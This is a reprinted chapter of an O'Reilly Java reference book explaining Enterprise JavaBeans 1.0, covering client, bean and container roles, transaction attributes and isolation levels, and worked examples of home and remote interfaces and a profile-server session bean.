6.11. Creating Directory Entries | Book Index | 7. Enterprise JavaBeans
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Enterprise JavaBeans (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 7. Enterprise JavaBeans

Contents:

A Note on Evolving Standards
EJB Roles
Transaction Management
Implementing a Basic EJB Object
Implementing Session Beans
Implementing Entity Beans
Deploying an Enterprise JavaBeans Object
Using an Enterprise JavaBeans Object
Changes in EJB 1.1 Specification

The introduction of RMI and JavaBeans to the core Java APIs brought a standard distributed object framework and a component model to Java. The Enterprise JavaBeans (EJB) architecture builds on these foundations to provide a standard distributed component model.

So, you may ask, how are EJB[1] components different from regular distributed objects built using RMI or local (nondistributed) components defined using the JavaBeans component model? Well, they aren't, really. An EJB component is an RMI object, in the sense that it's exported as a remote object using RMI. And an EJB component is also a JavaBeans component, since it has properties that can be introspected, and it uses the JavaBeans conventions for defining accessor methods for its properties. An EJB is much more than the sum of these parts, however. The EJB architecture provides a framework in which the enterprise bean developer can easily take advantage of transaction processing, security, persistence, and resource-pooling facilities provided by an EJB environment. These facilities don't come free, of course. You need to understand how they work and what rules your EJB object needs to follow in order to participate in these services.

[1]For the sake of space on the page, strain on your eyes, and my time on the keyboard, I'm going to abbreviate "Enterprise JavaBeans" as "EJB" throughout most of this chapter. I hope you don't mind.

Enterprise JavaBeans are useful in any situation where regular distributed objects are useful. They excel, however, in situations that take advantage of the component nature of EJB objects and the other services that EJB objects can provide with relative ease, such as transaction processing and persistence. A good example is an online banking application. A user sitting at home wants to connect to all her financial accounts, no matter where and with whom they may live, and see them tied together into one convenient interface. The EJB component architecture allows the various financial institutions to export user accounts as different implementations of a common Account interface, just as we would do with other distributed object APIs. But since these remote Account objects are also JavaBeans components, the client-side financial application can introspect on the Account objects to determine specialized public properties that certain accounts may have, so they can be shown to the client along with the common account properties. Also, the Account objects can be made into transactional EJB objects, which allows the client to perform a number of account operations within a single transaction, then either commit them all or roll them back. This can be a critical feature in financial applications, especially if you need to ensure that a supporting transfer can be executed before a withdrawal request is submitted. The transactional support in EJB ensures that if an error occurs during the transfer and an exception is raised, the entire transaction can be rolled back, and the client-side application can inform you of the reason.

The EJB component model insulates applications and beans (for the most part) from the details of the component services included in the specification. A benefit of this separation is the ability to deploy the same enterprise bean under different conditions, as needed by specific applications. The parameters used to control a bean's transactional nature, persistence, resource pooling, and security management are specified in separate deployment descriptors, not embedded in the bean implementation or the client application. So, when a bean is deployed in a distributed application, the properties of the deployment environment (client load levels, database configuration, etc.) can be accounted for and reflected in the settings of the bean's deployment options.

The EJB API is a standard extension to Java, available in the javax.ejb package and its subpackages. You have to explicitly install this extension API in order to write code against the EJB interfaces. You can find the latest version of the API at http://www.javasoft.com/products/ejb/. You should also note that EJB is just a specification for how distributed components should work within the Java environment. In order to actually create and use EJB objects, you need to install an EJB-enabled server.

Note that this chapter provides a basic introduction to Enterprise JavaBeans. For more complete coverage, see Enterprise JavaBeans by Richard Monson-Haefel (O'Reilly).

7.1. A Note on Evolving Standards

The information and code examples in this chapter are based on Version 1.0 of the Enterprise JavaBeans specification, released in March 1998. The code examples have been tested in two different EJB servers for compatibility: Weblogic/BEA's Tengah server Version 3.1.2 and the 0.4 Version of the free reference EJB server provided by the good folks at EJBHome (http://ejbhome.iona.com).

At the time of this writing, Sun has released a public draft of Version 1.1 of the EJB specification and has plans for a 2.0 version, to be released at a later date. The information in this chapter is largely unchanged by the incremental 1.1 update, but some details on the changes in 1.1 are described at the end of the chapter. It's unclear how much of the material in this chapter will be applicable to EJB 2.0.

Previous | Home | Next
6.12. Searching a Directory | Book Index | 7.2. EJB Roles
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


EJB Roles (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

7.2. EJB Roles

In Chapter 3, "Remote Method Invocation", I described two fundamental roles in the RMI environment: the client of the remote object, and the object itself, which acts as a kind of server or service provider. These two roles exist in the EJB environment as well, but EJB adds a third role, called the container provider. The container provider is responsible for implementing all the extra services for an EJB object that I mentioned earlier: transaction processing, security, object persistence, and resource pooling. If you're familiar with CORBA, you can think of the EJB container as being roughly equivalent to the ORB in CORBA, with a few of the CORBA services thrown in as well. In EJB, however, the container is strictly a server-side entity. The client doesn't need its own container to use EJB objects, but an EJB object needs to have a container in order to be exported for remote use. Figure 7-1 shows a conceptual diagram of how the three EJB roles interact with each other.

Figure 7-1. The basic roles in an EJB environment

7.2.1. The EJB Client

An EJB client uses remote EJB objects to access data, perform tasks, and generally get things done. In the EJB environment, the first action a client performs is to find the home interface for a type of EJB object that it wants to use. This home interface is a kind of object factory, used to create new instances of the EJB type, look up existing instances (only when using entity EJB objects, discussed later), and delete EJB objects. This is a bit different from RMI, where the client first has to get a direct handle to an existing RMI object. In many RMI applications, however, this first RMI object is a kind of object factory that creates other RMI object references. So, in a sense, the use of home interfaces in EJB is just formalizing the role of factory objects in distributed component applications.

EJB home interfaces are located by clients using JNDI (see Chapter 6, "JNDI", for more information). An EJB server publishes the home interface for a particular EJB object under a particular name in a JNDI namespace. The EJB client needs to specify the JNDI server and the name that the EJB home interface is stored under in order to start things off. The following code shows a simple EJB client that uses remote Person beans:

import javax.ejb.*;
import javax.naming.*;
import java.rmi.*;
import java.util.Properties;

public class PersonClient {
  public static void main(String[] args) {
    String name = args[0];

    try {
      // Get a JNDI context for our EJB server (EJBHome, in this case)
      Properties p = new Properties();
      p.put(Context.INITIAL_CONTEXT_FACTORY,
            "com.ejbhome.naming.spi.rmi.RMIInitCtxFactory");
      // Add URL, host or port options, if needed...;
      Context context = new InitialContext(p);

      // Get the home interface for Person beans
      PersonHome pHome =
        (PersonHome)context.lookup("People");

      // Create a named person
      Person person = pHome.create(name);

      // Use the remote stub interface to access the person's data
      . . .
    }
    catch (NoSuchPersonException nspe) {
      System.out.println("Invalid person: " + name);
    }
    catch (Exception e) {
      System.out.println("Error while creating/using person.");
    }
  }
}

We'll examine the details of this client a bit later in the chapter, but the example shows the fundamental steps an EJB client performs:

  • Get a JNDI context from the EJB server.

  • Use this context to look up a home interface for the bean you want to use.

  • Use this home interface to create (or find) a bean.

  • Call methods on the bean.

7.2.2. The Enterprise JavaBeans Object

If you develop your own EJB object, you need to provide three Java interfaces/classes in order to fully describe your EJB object to an EJB container:

  • A home interface

  • A remote interface

  • An enterprise bean implementation

The remote interface and the object implementation are similar to the corresponding RMI interfaces. A client issues method requests through a stub derived from the remote interface and eventually these requests make their way to the corresponding bean instance on the server. The home interface is a new twist: it acts as a bean factory, providing a way for a client to create, locate, and destroy EJB objects that it uses. With the home interface in the picture, the remote interface acts as the interface the client uses to interact with EJB objects, and the implementation is where the object itself does its thing.

Here is an example home interface for the Person bean used in the previous example:

import javax.ejb.*;
import java.rmi.RemoteException;
import java.util.Hashtable;

public interface PersonHome extends EJBHome {
  // Create a new (nameless) person
  public Person create() throws RemoteException;

  // Create a named person.
  // Throws an exception if the person can't be found.
  public Person create(String name)
    throws RemoteException, NoSuchPersonException;

  // Lookup a Person by name (the "primary key")
  public Person findByPrimaryKey(PersonPK key)
    throws RemoteException, FinderException;

  // Lookup people with a given string in their name.
  public Enumeration findByPartialName(String fragment)
    throws RemoteException, FinderException;
}

This home interface includes methods to create Person beans and to find them if they already exist on the server. The remote interface for our Person bean is shown here:

import javax.ejb.*;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Person extends Remote, EJBObject {
  public String getName() throws RemoteException;
  public void setName(String name) throws RemoteException;
}

This interface shows the business methods that are available to clients. When a client gets a reference to a bean through the PersonHome interface, it is given a stub that implements the Person interface.

The EJB object implementation needs to implement all the business methods in the remote interface, plus some methods used by the container to tell it about various events in its lifetime. The EJB object does not need to implement the remote interface, which is another new twist compared to RMI, where the server object always implements the remote interface. In EJB, the container arranges for method calls on the remote interface to be transferred to the EJB object. You just need to ensure that the EJB object has methods that match the signatures of the methods in the remote interface. We'll see an example of EJB object implementation a bit later.

Various pieces of these Java classes (home, remote, and implementation) are provided for the sake of the client, to allow a client to create EJB objects and call remote methods on them. Other pieces are provided for the EJB container, to allow it to notify the EJB object about transaction- and persistence-related events, for example.

In addition to the interfaces that describe the EJB object type, an EJB object also provides deployment descriptors to its containers. The deployment descriptors tell the container the name to use for registering the bean's home interface in JNDI, how to manage transactions for the bean, the access rights that remote identities are given to invoke methods on the EJB, and how persistence of the EJB objects should be handled. The container does all the heavy lifting with regard to providing these services, but the EJB object has to tell the container how it would prefer to have these services managed.

There are two fundamental types of Enterprise JavaBeans: session beans and entity beans.[2] A session bean is accessed by a single client at a time and is nonpersistent. It lives for a specific period of time (a session), and then gets removed by the server. An entity bean, on the other hand, represents a data entity stored in persistent storage (e.g., a database or filesystem). It can be accessed by multiple clients concurrently and is persistent beyond a client session or the lifetime of the EJB server.

[2]In Version 1.0 of the EJB specification, support for entity beans is optional in compliant EJB servers.

To illustrate the difference between session and entity beans, suppose you're building an online banking system using EJB components. An automated bank teller, which reports on account balances and executes deposits and withdrawals on specified accounts, could be implemented as a session bean. A single client uses the teller bean to perform services on bank accounts that are maintained in some separate persistent store (the bank's database). A EJB object that directly represents a bank account, however, should be an entity bean. Multiple clients can access the account to perform transactions, and the state of the account entity should be persistent across the lifetime of the online banking server.

7.2.3. The EJB Container

Most readers need to be familiar only with EJB containers from the perspective of an EJB client or an EJB object. For example, a Java application server that you might use to deploy an EJB-based application provides an implementation of the EJB container role. EJB-enabled application servers, with their own EJB containers and deployment tools, are available from Weblogic/BEA, Bluestone, IBM, Netscape, and Art Technology Group, among others.

The EJB container represents the value-added features of EJB over standard remote objects built using RMI or CORBA. The EJB container manages the details of transactional processing, resource pooling, and data persistence for you, which reduces the burden on client applications and EJB objects and allows them to deal with just the business at hand.

An EJB application server can contain multiple EJB containers, each managing multiple EJB objects. In this chapter, I'll refer to EJB servers and EJB containers somewhat interchangeably, depending on the context. In general, though, the container is strictly the runtime elements that interact directly with your EJB objects to provide client proxy services and notifications, while the server is the other glue outside the core EJB standard that integrates the EJB containers into a larger application management structure of some kind.

An EJB container is the heart of an EJB environment, in the same way an ORB is the heart of a CORBA environment. The container registers EJB objects for remote access, manages transactions between clients and EJB objects, provides access control over specific methods on the EJB, and manages the creation, pooling, and destruction of enterprise beans. The container also registers the home interface for each type of bean under a given name in a JNDI namespace, allowing remote clients to find the home interfaces and use them to create enterprise beans.

Once you provide the EJB container with the home and remote interfaces and the implementation class for your bean, along with a deployment descriptor, the container is responsible for generating the various classes that connect these components, as shown in Figure 7-2. The home and remote interfaces you provide are RMI Remote interfaces; the container generates both the client stubs and the server-side implementation for these interfaces. When a client looks up a bean's home interface through JNDI, it receives an instance of the home stub class. All methods invoked on this stub are remotely invoked, via RMI, on the corresponding home implementation object on the EJB server. Similarly, if the client creates or finds any beans through the home stub, the client receives remote object stubs, and methods invoked on the stubs are passed through RMI to corresponding implementation objects on the server. These remote objects are linked, through the EJB container, to a corresponding enterprise bean object, which is an instance of your bean-implementation class. Optionally, the EJB container may also generate a container-specific subclass of your bean implementation (e.g., if it wants to augment some of your bean methods to facilitate synchronization with the container).

Figure 7-2. Relationship of bean-provider classes and container-generated classes

The container receives client requests to create, look up, and/or remove beans. It either handles them itself or passes the requests to corresponding methods on the EJB object. Once the client obtains a reference to a remote interface for an EJB object, the container intercedes in remote method calls on the bean, to provide the bean with required transaction management and security measures. The container also provides support for persistence of enterprise beans, either by storing/loading the bean state itself or by notifying the bean that it needs to store or reload its state from persistent storage.

A container can maintain multiple EJB objects and object types during its lifetime. The container has some freedom to manage resources on the server for performance or other reasons. For example, a container can choose to temporarily serialize a bean and store it to the server filesystem or some other persistent store; this is called passivating a bean. The EJB object is notified of this and given a chance to release any shared resources or transient data that shouldn't be serialized. The bean is also notified after it is activated again, to allow it to restore any transient state or reopen shared resources.

An EJB container can make any EJB object type available for remote use. When you deploy an EJB object within an EJB server, you can specify how the container should manage the bean during runtime, in terms of transaction management, resource pooling, access control, and data persistence. This is done using deployment descriptors, which contain parameter settings for these various options. These settings can be customized for each deployment of an EJB object. You might purchase an EJB object from a vendor and deploy it on your EJB server with a particular set of container management options, while someone else who purchased the same bean can deploy it with a different set of deployment options. We discuss the details of the runtime options available in deployment descriptors and how to use them later in this chapter, when we talk about deploying EJB components.

Previous | Home | Next
7.1. A Note on Evolving Standards | Book Index | 7.3. Transaction Management
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Transaction Management (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

7.3. Transaction Management

One of the value-added features that Enterprise JavaBeans provides over regular remote objects is semiautomated transaction management. I'll periodically mention transaction-related issues when we look at creating, deploying, and using EJB objects, so this section introduces some basic transaction-management concepts. If you're not interested in using the transaction-management features of your EJB server, you can safely skip this section and jump to the material on implementing EJB object. If you plan to make JDBC calls from within your bean, however, you should note the information in the section on database transactions.

Transactions break up a series of interactions into units of work that can be either committed if they are successfully executed or rolled back at any time before the transaction is committed. If a transaction is rolled back, all parties involved in the transaction are responsible for restoring their state to its pretransaction condition. Transaction support is especially important in a distributed environment, since agents may lose network contact with each other or one agent may die while engaged in a series of interactions with another agent.

The EJB container is the principal player in the area of transaction management, since it is responsible for either generating transactions around client interactions with the bean, or detecting client-requested transactions and then notifying the EJB objects about transaction boundaries (start and end). The Enterprise JavaBeans architecture relies on the Java Transaction API (JTA) for transaction support. The JTA represents a transaction with the javax.transaction.UserTransaction interface.[3] Complete coverage of the JTA and the concepts of transaction-based processing are beyond the scope of this chapter, but a few words of overview here should be enough for you to get an understanding of how this can be a valuable feature of Enterprise JavaBeans. In addition, the JTA interfaces and classes are documented in Part 3, "API Quick Reference".

[3]Note that shortly after the EJB 1.0 specification was released, the name of the (then beta) JTA was changed, so that javax.jts.UserTransaction became javax.transaction.UserTransaction. I'm using the new class name here, but keep in mind that you might see the old package names in the EJB 1.0 documentation from Sun.

A client or an EJB object can declare a new transaction by creating a UserTransaction object. The transaction is started by calling the begin() method on the transaction object, and ended by calling either the commit() method (for a successful completion) or the rollback() method (to abort the transaction and revert to the state before the transaction began). The following code shows the (now cliché) example of a banking transaction in an EJB context:

// Get the JNDI context, and use it to get the Account home interface
Context ctx = new InitialContext(props);
AccountHome acctHome = (AccountHome)ctx.lookup("Accounts");

// Get two accounts
Account savings = acctHome.findByNameAndType("Jim Farley", "savings");
Account checking = acctHome.findByNameAndType("Jim Farley", "checking");

// Get a transaction object, using a JNDI lookup on the EJB context
javax.transaction.UserTransaction xaction =
    (UserTransaction)ctx.lookup("javax.transaction.UserTransaction");

// Perform a transaction
xaction.begin();
try {
  savings.deposit(1500.0);
  checking.transfer(savings, 750.0);
  xaction.commit();
}
// If anything goes wrong, roll back the work we've done.
catch (Exception e) {
  xaction.rollback();
}

This code might be seen in a client application using an EJB server for banking services. In this case, the client is using the transaction to ensure that both the deposit to savings and the transfer to checking are committed only if both operations are successful. If either one fails, the rollback() method is called on the transaction to ensure that any changes are undone. An EJB object might use similar procedures if it is managing its own transactions, the only difference being that the bean would be able to use its EJBContext to get a transaction from its container:

xaction = myContext.getUserTransaction();

The use of the EJBContext in enterprise beans is covered later in the chapter.

In the context of an Enterprise JavaBeans component, transaction boundaries can be defined by the client of the EJB object, the container, or the EJB object itself. In all cases, the EJB container decides how to handle the transaction context whenever a remote method is invoked on an EJB object. During a bean's lifetime, the container decides whether to execute the bean's business methods within the client's transaction or within a transaction that the container defines, or to allow the bean to manage its own transaction boundaries. When it is deployed, a bean can choose one of the following transaction-support attributes:

TX_NOT_SUPPORTED

The bean cannot support transactions, so its methods must be called without a transaction context. If the client has initiated a transaction, it is suspended by the container before the bean's method is invoked. After the method completes, the container resumes the client's transaction.

TX_SUPPORTS

The bean supports transactions if requested. If the client calls a method on the bean, while within a transaction, the client's transaction context is passed to the bean as part of the bean's EJBContext.

TX_REQUIRED

The bean requires that all method requests be executed within a transaction context. If the client is already in a transaction of its own, the transaction context is passed on to the bean in its EJBContext. If not, the container creates a new transaction before calling the bean's method and commits the transaction when the bean's method finishes, but before the method results are returned to the client.

TX_REQUIRES_NEW

The bean requires that all remote method requests be executed within a new transaction. The container automatically starts a new transaction before calling a remote method on the bean, and commits the transaction when the method finishes, but before the results are returned to the client. If the client calls a remote method while within a transaction, the client's transaction is suspended by the container before executing the bean's method within the new transaction and resumed after the new transaction is committed.

TX_MANDATORY

The bean must be run within the context of a client-initiated transaction. If the client calls a remote method on the bean without starting a transaction first, the container throws a javax.jts.TransactionRequired Exception.

TX_BEAN_MANAGED

The bean manages all its own transaction boundaries and does not execute within the client's transactions. If the client calls a remote method on the bean from within a client-generated transaction, the client transaction is suspended for the duration of the execution of the remote method. The bean's business methods are run within a transaction only if the bean explicitly creates one (the container does not automatically generate a transaction for each method call). The bean's methods run within the transaction until it is ended by the bean, and the container ensures that the transaction context is provided in the bean's EJBContext as long as the transaction is open.

7.3.1. Making the EJB Server Aware of Database Transactions

In order for an EJB server to properly implement the various transaction levels listed previously, it needs to be aware of JDBC connections and database transactions that you make from within your enterprise bean. This is key to the EJB server's ability to provide your beans with semiautomatic transaction management. While your bean methods are executing within a given transaction context, the EJB server needs to ensure all database transactions that you make are held pending the commit or rollback of the transaction. If the transaction is committed, the pending database updates are committed to their respective data sources. If the transaction is rolled back, the pending database updates are rolled back as well.

To allow the EJB server to do this, your enterprise bean typically needs to acquire JDBC connections in a manner specified by your EJB server. Unfortunately, the EJB 1.0 specification does not provide a standard method for acquiring database connections from an EJB container. Until this oversight in the EJB specification is amended, EJB server vendors have to provide their own methods for an EJB object to get connections that are monitored by the EJB container. Most EJB vendors provide a way to define a pool of JDBC connections and a means for requesting connections from this pool at runtime. BEA's WebLogic server, for example, allows you to specify a connection pool in a server property file and then use a JDBC URL to pull connections from this pool at runtime. An example properties entry might look like this:

weblogic.jdbc.connectionPool.myPool=\
  url=jdbc:weblogic:oracle,\
  driver=weblogic.jdbc.oci.Driver,\
  loginDelaySecs=1,\
  initialCapacity=5,\
  maxCapacity=10,\
  capacityIncrement=1,\
  props=user=jsmith;password=foobar;server=main

This line of the properties file asks the server to create a connection pool named myPool with the specified JDBC driver and connection properties. The server reads this information from the properties file on startup and creates the pool, and then your EJB object can ask for connections from the pool using a specific JDBC URL:

Connection conn = DriverManager.getConnection("jdbc:weblogic:jts:myPool");

This allows the WebLogic server to issue your bean a JDBC connection that is controlled by the server. However, there is currently no consensus among EJB providers concerning support for this method of providing JDBC connections to EJB objects and clients. Before using JDBC code in your enterprise beans, make sure to consult your EJB server documentation to see specifically how it provides JDBC connection management.

7.3.2. Transaction Isolation Levels

Normally, you would expect multiple transactions originating from multiple client requests on your bean to be effectively serialized. In other words, if multiple client transactional requests are made of your bean, the end effect of satisfying all these requests by timesharing the bean between each client/transaction should be the same as if each request were serialized at the boundaries of each transaction. The ANSI SQL standard defines three ways in which this transaction isolation rule can be violated:

Dirty reads

If transaction A updates a record in the database, followed by transaction B reading the record, then transaction A performs a rollback on its update operation, the result is that transaction B has read an invalid state of the record.

Nonrepeatable reads

If transaction A reads a record, followed by transaction B updating the same record, then transaction A reads the same record a second time, transaction A has read two different values for the same record.

Phantom reads

If transaction A performs a query on the database with a particular search criteria (WHERE clause), followed by transaction B creating new records that satisfy the search criteria, followed by transaction A repeating its query, transaction A sees new, phantom records in the results of the second query.

When you deploy your enterprise bean within an EJB container, you can specify what level of transaction isolation you want it to enforce for you, using one of the following isolation levels:

TRANSACTION_READ_UNCOMMITTED

All the defined isolation violations are allowed.

TRANSACTION_READ_COMMITTED

Dirty reads are prevented, but nonrepeatable reads and phantom reads are allowed.

TRANSACTION_REPEATABLE_READ

Only phantom reads are allowed.

TRANSACTION_SERIALIZABLE

All the defined isolation violations are prevented, making concurrent transactions effectively serialized.

These levels can be applied to an entire bean or to individual methods on the bean. If you don't specify one of these isolation levels, the EJB server typically uses the default isolation level dictated by the database being used for persistent storage. For more information on these isolation levels and their meaning, consult the JDBC specification or the ODBC specification. Chapter 2, "JDBC", also briefly discusses database isolation levels. I mention them here just so that you are aware that they exist and can seek out more information if the details of transaction isolation are important for your enterprise beans.

Previous | Home | Next
7.2. EJB Roles | Book Index | 7.4. Implementing a Basic EJB Object
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Implementing a Basic EJB Object (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

7.4. Implementing a Basic EJB Object

Now it's time to start talking about actually implementing an Enterprise JavaBeans component. No matter whether you are creating an entity bean or a session bean, there are three Java interfaces/classes you need to provide:

Home interface

The home interface is accessed directly by clients and used to create and/or find EJB objects of a specific type.

Remote bean interface

The remote interface for the bean is also used directly by clients. When a client creates or finds an EJB object through a home interface, it is given a reference to a stub that implements the remote interface for the bean. The remote interface defines the methods the EJB object exports to remote clients.

Bean implementation

The EJB object implementation itself must implement all the remote methods defined in its remote interface, provide methods that correspond to the methods on its home interface for creating and/or finding the bean, and also implement the methods used by the EJB container to manage the bean.

To demonstrate the various components that make up an Enterprise JavaBeans object, we'll look at a simple example: a profile server. The profile server is a stateless session bean that provides profile information for named users. This profile information consists of name/value pairs that might represent preferences in an application, historical usage patterns, etc. You might see a profile server running behind an online information service, allowing users to personalize the content and appearance of the site when they enter. After we've gone through this general example of writing a bean, we'll look more closely at the differences between implementing session beans and entity beans.

Table 7-1 shows how the methods of the home interface, the remote interface, and the bean implementation are related to each other.

Table 7-1. Related Methods

Home Interface Method | Remote Interface Method | EJB Object Method
remote-type create(args) throws CreateException, RemoteException; | N/A | public void ejbCreate(args); // Session beans public primary-key-type ejbCreate(args); // Entity beans
remote-type or Enumeration findBy method(args) throws FinderException, RemoteException; // Entity beans only | N/A | public primary-key-type or Enumeration ejbFindBy method(args); // Entity beans only
public void remove(); | public void remove(); | public void ejbRemove();
N/A | Business method (must throw RemoteException) | Business method, same signature (must throw RemoteException)

7.4.1. Home Interface

The client needs a way to create a local reference to a profile server, so we have to provide a home interface for our bean, as shown in Example 7-1. This home interface provides a single create() method that takes no arguments and returns the bean's remote interface type, ProfileServer.

Example 7-1. Home Interface for the Profile Server Bean

import javax.ejb.*;
import java.rmi.RemoteException;

public interface ProfileServerHome extends EJBHome {
  public ProfileServer create() throws CreateException, RemoteException;
}

The home interface for an EJB object extends the javax.ejb.EJBHome interface. The home interface is also an RMI remote interface, since EJBHome extends java.rmi.Remote. The home interface can contain multiple create() methods that take various initialization arguments for the bean to be created. The create() method returns a reference to our bean's remote interface (ProfileServer, in this case).

As shown in Table 7-1, for each create() method on the home interface, the EJB object implementation must have a matching ejbCreate() method that takes the same arguments. The create() method on the home interface has to declare that it throws java.rmi.RemoteException, since the home interface is an RMI remote interface. It also has to throw javax.ejb.CreateException, in case some error occurs during the EJB creation process (as opposed to some general RMI-related problem). If the corresponding ejbCreate() method on the bean implementation throws any other exceptions, the create() method has to include these in its throws clause as well. In this example, the bean's ejbCreate() method doesn't throw any exceptions, so we don't need to add any additional exceptions here.

Home interfaces for entity beans can also include finder methods, used to find existing persistent entity beans that were previously created. We'll discuss them in detail a bit later, when we talk about entity beans.

7.4.2. Remote Interface

You usually start putting together an EJB by defining its remote interface. This interface contains declarations of the methods that are available to remote clients, so it really points to the heart of the EJB object. The remote interface for our ProfileServer is shown in Example 7-2. A remote EJB interface must extend the javax.ejb.EJBObject interface. EJBObject in turn extends the java.rmi.Remote interface, which makes the EJB remote interface an RMI remote interface as well.

Example 7-2. Remote Interface for the Profile Server Bean

import javax.ejb.*;
import java.rmi.RemoteException;
import java.rmi.Remote;

public interface ProfileServer extends EJBObject {
  public Profile getProfile(String name)
    throws NoSuchPersonException, RemoteException;
}

The ProfileServer interface defines a single remote method, getProfile(), that accepts a username as its only argument. It returns a Profile object, containing the profile information for the person named. If the person's profile cannot be found on the server, a NoSuchPersonException is thrown. This is an application-specific exception whose implementation isn't shown here. Since the ProfileServer interface is an RMI remote interface, its methods must throw RemoteException in case some RMI communication problem occurs during a method call. Also, the arguments and return values for the methods have to be Serializable, and/or they need to be exportable RMI objects themselves. Our getProfile() method returns a Profile object, which we'll implement as an RMI-exportable object. The remote interface for Profile is shown in Example 7-3. The interface has only two remote methods, one to set profile entry values and one to get those values. Note: the implementation of the Profile remote interface isn't shown in this chapter.

Example 7-3. RMI Remote Interface for a Profile Object

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Profile extends Remote {
  public String getProfileEntry(String name) throws RemoteException;
  public void setProfileEntry(String name, String value)
    throws RemoteException;
}

When you deploy your EJB object, you can specify who is allowed to call each method on your bean through the remote interface. In this case, we might want only certain clients to be able to query for user profiles, so we might want to limit access to the getProfile() method on our ProfileServer bean. We discuss the access control features of bean deployment descriptors later in the chapter.

7.4.3. The Bean Implementation

Now that we have a home interface that lets clients create EJB references and a remote interface that describes the EJB methods, we need to actually implement the EJB object itself. Our ProfileServerBean is shown in Example 7-4. If you are familiar with RMI, this should look like an RMI server object, with some extra methods included. These extra methods are the hooks the EJB container uses to manage the bean as a component. At the end of the class is the implementation of the getProfile() method from the remote interface. The ejbCreate() method is also included here, to match the create() method on the home interface.

Example 7-4. The ProfileServerBean Implementation

import javax.ejb.*;
import java.rmi.RemoteException;

public class ProfileServerBean implements SessionBean {
  private SessionContext mContext = null;

  // Session bean methods
  public void ejbPassivate() {
    System.out.println("ProfileServerBean passivated.");
  }

  public void ejbActivate() {
    System.out.println("ProfileServerBean activated.");
  }

  public void ejbCreate() {
    System.out.println("ProfileServerBean created.");
  }

  public void ejbRemove() {
    System.out.println("ProfileServerBean removed.");
  }

 // Get session context from container
  public void setSessionContext(SessionContext context) {
    System.out.println("ProfileServerBean context set.");
    mContext = context;
  }

 // Business methods
  public Profile getProfile(String name) throws NoSuchPersonException {
    // Here, we just create a ProfileImpl and return it.
    ProfileImpl profile = null;
    try {
      profile = new ProfileImpl(name);
    }
    catch (RemoteException re) {
      System.out.println("Failed creating profile for " + name);
      re.printStackTrace();
      throw new NoSuchPersonException();
    }

    return profile;
  }
}

The class for an EJB object must implement the javax.ejb.EnterpriseBean interface. This is usually done indirectly, through either the javax.ejb.SessionBean interface or the javax.ejb.EntityBean interface. In our example, we're defining a session bean, so the ProfileServerBean class implements the SessionBean interface.

The EJB class must be declared as public, to allow the container to introspect the class when generating the classes that hook the bean to the container and to allow the container to invoke methods on the bean directly where necessary. The bean class can optionally implement the bean's remote interface, but this isn't strictly required. In our case, we haven't implemented the bean's remote ProfileServer interface in the ProfileServerBean class. When the EJB server generates the classes that bridge the bean to the container, it also provides a class that implements the remote interface and acts as a proxy to the EJB class itself.[4]

[4] Depending on the server implementation and how it chooses to generate these classes, it may be useful for you to provide an EJB class that directly implements the remote interface, since it might eliminate one level of method indirection. This is server-dependent, however, so there's no guarantee that this will help (or hurt).

In fact, for practical reasons, you probably don't want your EJB implementation to implement the remote interface for your bean. The remote interface has to extend the EJBObject interface, which includes a set of abstract methods that clients can use to retrieve the bean's home interface, get the primary key for entity beans, etc. When you deploy your bean, you'll use tools provided by the EJB container tools to generate stub and skeleton classes for the remote interface that implement these methods from EJBObject. If you implement the remote interface with your bean implementation class, you have to provide implementations for the EJBObject methods as well.

All Enterprise JavaBean objects, whether they are session beans or entity beans, must implement the following methods:

public void ejbActivate()

Called by the container when the bean has been deserialized from passive storage on the server. Allows the bean to reclaim any resources freed during passivation (e.g., file handles, network connections) or restore any other state not explicitly saved when the bean was serialized.

public void ejbPassivate()

Called by the container just before the bean is to be serialized and stored in passive storage (e.g., disk, database) on the server. Allows the bean to release any non-serializable resources (e.g., open files, network connections).

public void ejbCreate(. . .)

Called after the client invokes one of the create() methods on the bean's home interface. The bean and its home interface usually provide at least one create()/ejbCreate() pair to allow the client to create new beans. Session beans are required to provide at least one create method, but create methods are optional on entity beans, since entity beans can also be acquired using finder methods. The container creates the bean object using one of its standard constructors and might create several beans of the same type at server startup to act as a pool for future client requests. The ejbCreate() method indicates that a client is ready to use the bean; the arguments indicate the identity or starting state of the bean. For entity beans, the return type of an ejbCreate() method should be the bean's primary key type (see the later section "Implementing Entity Beans" for more details).

public void ejbRemove()

Called by the container just before the bean is to be removed from the container and made eligible for garbage collection. The container may call this when all remote and local references to the bean have been removed.

These methods are used by the bean's container to notify the bean of various changes in its runtime state. In our example, the ProfileServerBean doesn't need to perform any actions in these methods, so they are included as empty methods that simply print messages to standard output, indicating that they have been called.

Previous | Home | Next
7.3. Transaction Management | Book Index | 7.5. Implementing Session Beans
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Implementing Session Beans (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

7.5. Implementing Session Beans

Now that we've seen a simple bean example, let's move on and talk about the specifics of implementing session beans (we'll get to entity beans after that). A session bean is much like a regular remote object, with the added benefit of being a JavaBeans component. The session bean serves as a remote extension of the client, running on a remote EJB server. Usually, a session bean is used by a single client, and the state data maintained by the session bean is owned by this client. The client acquires a reference to a session bean, and asks it to perform services by calling methods on the bean. These method calls might retrieve or update data in a remote database, filter data to be returned to the client, or update the session-related state information (if any) that the client is maintaining with the bean.

A session bean doesn't live beyond the lifetime of its server. If your client has a reference to a session bean, and the server restarts, that session bean reference is no longer valid. You can reacquire a session bean of the same type from the same server, but it's not guaranteed to be in the same state as the bean you had before the server restart. An EJB container also has the option of destroying a session bean after some timeout period while the bean is in an inactive state on the server (i.e., if there are no client references to the session bean for a period that exceeds the session timeout for the bean).

Stateful session beans can optionally receive notification of transaction boundaries from the EJB container. The container notifies the bean when a new client transaction is beginning and when the client transaction has either been completed or rolled back. If the session bean receives a rollback notification, it should manually reset its state information.

